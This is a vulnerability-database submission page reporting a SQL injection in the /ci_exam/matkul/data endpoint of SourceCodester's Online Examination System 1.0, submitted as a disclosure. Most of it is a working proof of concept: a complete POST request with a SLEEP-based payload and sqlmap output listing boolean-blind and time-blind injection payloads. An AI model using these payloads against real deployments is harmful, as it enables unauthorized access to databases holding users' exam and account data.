ଜମା କରନ୍ତୁ #156040: SQL injection in /matkul/data Online Examination System 1.0ସୂଚନା

ଶୀର୍ଷକSQL injection in /matkul/data Online Examination System 1.0
ବର୍ଣ୍ଣନାSQL injection in POST data /ci_exam/matkul/data /ci_exam/matkul/data Product:Online Examination System Version: 1.0 Source: https://www.sourcecodester.com/php-codeigniter-online-exam-system-free-source-code PoC image: https://github.com/tht1997/CVE_2023/blob/main/Lost%20and%20Found%20Information%20System/img/matkul_data.png request: POST /ci_exam/matkul/data HTTP/1.1 Content-Length: 889 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Origin: http://localhost Referer: http://localhost/ci_exam/matkul Cookie: remember_me_name=bMGFrQaFzDhuoLmztZCT; remember_me_pwd=YMSm3Q2wFDHaHLQ5eZPKc42oU7CaK8IlA%40q1; remember_me_lang=en; Hm_lvt_c790ac2bdc2f385757ecd0183206108d=1680329430; Hm_lvt_5320b69f4f1caa9328dfada73c8e6a75=1680329567; PowerBB_username=xss; PowerBB_password=8879f85d0170cba2a4328bbb5a457c6a; menu_contracted=false; __atuvc=1%7C16; PHPSESSID=cjvq90aj2a5aaq7trm1s90ps9h; csrf_cookie_name=8f7564ca9debf99ecf1e135be7caab6d; ci_session=a8ps8v1ceiv250klr1dk8o5919dng1ef Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Connection: close csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns%5B0%5D%5Bdata%5D=id_matkul&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=false&columns%5B0%5D%5Borderable%5D=false&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=nama_matkul%20AND%20%28SELECT%204744%20FROM%20%28SELECT%28SLEEP%285%29%29%29rOIM%29&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=id_matkul&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=asc&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false sqlmap: POST parameter 'columns[1][data]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 287 HTTP(s) requests: --- Parameter: columns[1][data] (POST) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns[0][data]=id_matkul&columns[0][name]=&columns[0][searchable]=false&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=(SELECT (CASE WHEN (3854=3854) THEN 0x6e616d615f6d61746b756c ELSE (SELECT 7016 UNION SELECT 9054) END))&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=id_matkul&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&order[0][column]=1&order[0][dir]=asc&start=0&length=10&search[value]=&search[regex]=false Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: csrf_test_name=8f7564ca9debf99ecf1e135be7caab6d&draw=1&columns[0][data]=id_matkul&columns[0][name]=&columns[0][searchable]=false&columns[0][orderable]=false&columns[0][search][value]=&columns[0][search][regex]=false&columns[1][data]=nama_matkul AND (SELECT 4744 FROM (SELECT(SLEEP(5)))rOIM)&columns[1][name]=&columns[1][searchable]=true&columns[1][orderable]=true&columns[1][search][value]=&columns[1][search][regex]=false&columns[2][data]=id_matkul&columns[2][name]=&columns[2][searchable]=true&columns[2][orderable]=true&columns[2][search][value]=&columns[2][search][regex]=false&order[0][column]=1&order[0][dir]=asc&start=0&length=10&search[value]=&search[regex]=false ---
ଉତ୍ସ⚠️ https://www.sourcecodester.com/php-codeigniter-online-exam-system-free-source-code
ଉପଭୋକ୍ତା
 huutuanbg97 (UID 45015)
ଦାଖଲ05/13/2023 08:12 AM (3 ବର୍ଷ ବର୍ଷ ago)
ମଧ୍ୟମ ଧରଣର05/14/2023 09:56 AM (1 day later)
ସ୍ଥିତିଗ୍ରହଣ କରାଯାଇଛି
VulDB ଏଣ୍ଟ୍ରି228977 [SourceCodester Online Exam System 1.0 POST Parameter /matkul/data columns[1][data] SQL ଇଞ୍ଜେକ୍ସନ]
ପଏଣ୍ଟ17

◂ ପଛକୁସମୀକ୍ଷାଆହୁରି ଦୂରରେ ▸

Do you know our Splunk app?

Download it now for free!